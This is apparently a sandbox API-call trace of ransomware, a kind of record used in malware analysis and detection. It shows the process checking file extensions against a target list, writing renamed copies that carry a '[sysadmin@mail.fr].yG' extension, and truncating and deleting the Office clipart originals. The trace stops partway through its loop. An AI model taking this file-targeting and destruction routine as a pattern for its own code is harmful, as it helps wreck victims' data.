	[0139.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.643] lstrlenW (lpString=".jpg") returned 4
	[0139.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.643] lstrlenW (lpString=".doc") returned 4
	[0139.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.643] lstrlenW (lpString=".docx") returned 5
	[0139.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.644] lstrlenW (lpString=".pdf") returned 4
	[0139.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.644] lstrlenW (lpString=".xls") returned 4
	[0139.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.644] lstrlenW (lpString=".xlsx") returned 5
	[0139.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.644] lstrlenW (lpString=".ppt") returned 4
	[0139.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.644] lstrlenW (lpString=".zip") returned 4
	[0139.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.644] lstrlenW (lpString=".rar") returned 4
	[0139.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.644] lstrlenW (lpString=".bz2") returned 4
	[0139.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.644] lstrlenW (lpString=".7z") returned 3
	[0139.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.644] lstrlenW (lpString=".dbf") returned 4
	[0139.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.644] lstrlenW (lpString=".1cd") returned 4
	[0139.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.644] lstrlenW (lpString=".jpg") returned 4
	[0139.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.645] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0139.645] lstrlenW (lpString="DD01183_.WMF") returned 12
	[0139.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0139.646] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2296) returned 1
	[0139.646] CloseHandle (hObject=0x48c) returned 1
	[0139.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220
	[0139.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0139.646] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.646] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0139.647] GetLastError () returned 0x0
	[0139.647] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x8f8, lpOverlapped=0x0) returned 1
	[0139.671] WriteFile (in: hFile=0x4a8, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x900, lpOverlapped=0x0) returned 1
	[0139.673] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.673] WriteFile (in: hFile=0x4a8, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0139.673] SetEndOfFile (hFile=0x4a8) returned 1
	[0139.673] CloseHandle (hObject=0x4a8) returned 1
	[0139.673] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.673] SetEndOfFile (hFile=0x48c) returned 1
	[0139.949] CloseHandle (hObject=0x48c) returned 1
	[0139.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0139.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1
	[0139.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.951] lstrlenW (lpString=".doc") returned 4
	[0139.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.951] lstrlenW (lpString=".docx") returned 5
	[0139.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.952] lstrlenW (lpString=".pdf") returned 4
	[0139.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.952] lstrlenW (lpString=".xls") returned 4
	[0139.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.952] lstrlenW (lpString=".xlsx") returned 5
	[0139.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.952] lstrlenW (lpString=".ppt") returned 4
	[0139.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.952] lstrlenW (lpString=".zip") returned 4
	[0139.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.952] lstrlenW (lpString=".rar") returned 4
	[0139.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.952] lstrlenW (lpString=".bz2") returned 4
	[0139.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.952] lstrlenW (lpString=".7z") returned 3
	[0139.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.953] lstrlenW (lpString=".dbf") returned 4
	[0139.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.953] lstrlenW (lpString=".1cd") returned 4
	[0139.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.953] lstrlenW (lpString=".jpg") returned 4
	[0139.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.953] lstrlenW (lpString=".doc") returned 4
	[0139.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.953] lstrlenW (lpString=".docx") returned 5
	[0139.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.953] lstrlenW (lpString=".pdf") returned 4
	[0139.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.953] lstrlenW (lpString=".xls") returned 4
	[0139.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.954] lstrlenW (lpString=".xlsx") returned 5
	[0139.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.954] lstrlenW (lpString=".ppt") returned 4
	[0139.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.954] lstrlenW (lpString=".zip") returned 4
	[0139.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.954] lstrlenW (lpString=".rar") returned 4
	[0139.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.954] lstrlenW (lpString=".bz2") returned 4
	[0139.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.954] lstrlenW (lpString=".7z") returned 3
	[0139.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.954] lstrlenW (lpString=".dbf") returned 4
	[0139.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.954] lstrlenW (lpString=".1cd") returned 4
	[0139.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0139.955] lstrlenW (lpString=".jpg") returned 4
	[0139.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.955] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0139.955] lstrlenW (lpString="DD01366_.WMF") returned 12
	[0139.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0139.956] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1768) returned 1
	[0139.956] CloseHandle (hObject=0x48c) returned 1
	[0139.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220
	[0139.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0139.958] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.958] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0139.959] GetLastError () returned 0x0
	[0139.959] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x6e8, lpOverlapped=0x0) returned 1
	[0140.002] WriteFile (in: hFile=0x49c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x6f0, lpOverlapped=0x0) returned 1
	[0140.004] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0140.004] WriteFile (in: hFile=0x49c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0140.005] SetEndOfFile (hFile=0x49c) returned 1
	[0140.005] CloseHandle (hObject=0x49c) returned 1
	[0140.006] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0140.006] SetEndOfFile (hFile=0x48c) returned 1
	[0140.019] CloseHandle (hObject=0x48c) returned 1
	[0140.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0140.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1
	[0140.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.022] lstrlenW (lpString=".doc") returned 4
	[0140.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0140.023] lstrlenW (lpString=".docx") returned 5
	[0140.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0140.023] lstrlenW (lpString=".pdf") returned 4
	[0140.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0140.023] lstrlenW (lpString=".xls") returned 4
	[0140.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0140.023] lstrlenW (lpString=".xlsx") returned 5
	[0140.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0140.023] lstrlenW (lpString=".ppt") returned 4
	[0140.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0140.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.023] lstrlenW (lpString=".zip") returned 4
	[0140.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0140.024] lstrlenW (lpString=".rar") returned 4
	[0140.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0140.024] lstrlenW (lpString=".bz2") returned 4
	[0140.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0140.024] lstrlenW (lpString=".7z") returned 3
	[0140.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0140.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.024] lstrlenW (lpString=".dbf") returned 4
	[0140.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0140.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.024] lstrlenW (lpString=".1cd") returned 4
	[0140.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0140.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.024] lstrlenW (lpString=".jpg") returned 4
	[0140.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0140.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.024] lstrlenW (lpString=".doc") returned 4
	[0140.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0140.024] lstrlenW (lpString=".docx") returned 5
	[0140.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0140.024] lstrlenW (lpString=".pdf") returned 4
	[0140.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0140.024] lstrlenW (lpString=".xls") returned 4
	[0140.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0140.025] lstrlenW (lpString=".xlsx") returned 5
	[0140.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0140.025] lstrlenW (lpString=".ppt") returned 4
	[0140.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0140.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.025] lstrlenW (lpString=".zip") returned 4
	[0140.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0140.025] lstrlenW (lpString=".rar") returned 4
	[0140.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0140.025] lstrlenW (lpString=".bz2") returned 4
	[0140.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0140.025] lstrlenW (lpString=".7z") returned 3
	[0140.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0140.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.025] lstrlenW (lpString=".dbf") returned 4
	[0140.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0140.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.025] lstrlenW (lpString=".1cd") returned 4
	[0140.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0140.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0140.025] lstrlenW (lpString=".jpg") returned 4
	[0140.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0140.025] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0140.026] lstrlenW (lpString="DD01434_.WMF") returned 12
	[0140.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0140.208] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=900) returned 1
	[0140.208] CloseHandle (hObject=0x488) returned 1
	[0140.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220
	[0141.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0142.526] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.526] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0142.616] GetLastError () returned 0x0
	[0142.617] ReadFile (in: hFile=0x4b4, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x384, lpOverlapped=0x0) returned 1
	[0142.635] WriteFile (in: hFile=0x4a8, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x390, lpOverlapped=0x0) returned 1
	[0142.636] ReadFile (in: hFile=0x4b4, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0142.636] WriteFile (in: hFile=0x4a8, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0142.636] SetEndOfFile (hFile=0x4a8) returned 1
	[0142.636] CloseHandle (hObject=0x4a8) returned 1
	[0142.637] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0142.637] SetEndOfFile (hFile=0x4b4) returned 1
	[0142.639] CloseHandle (hObject=0x4b4) returned 1
	[0142.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0142.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1
	[0142.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.640] lstrlenW (lpString=".doc") returned 4
	[0142.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.640] lstrlenW (lpString=".docx") returned 5
	[0142.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.640] lstrlenW (lpString=".pdf") returned 4
	[0142.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString=".xls") returned 4
	[0142.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.641] lstrlenW (lpString=".xlsx") returned 5
	[0142.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.641] lstrlenW (lpString=".ppt") returned 4
	[0142.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.641] lstrlenW (lpString=".zip") returned 4
	[0142.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.641] lstrlenW (lpString=".rar") returned 4
	[0142.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString=".bz2") returned 4
	[0142.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString=".7z") returned 3
	[0142.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.641] lstrlenW (lpString=".dbf") returned 4
	[0142.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.641] lstrlenW (lpString=".1cd") returned 4
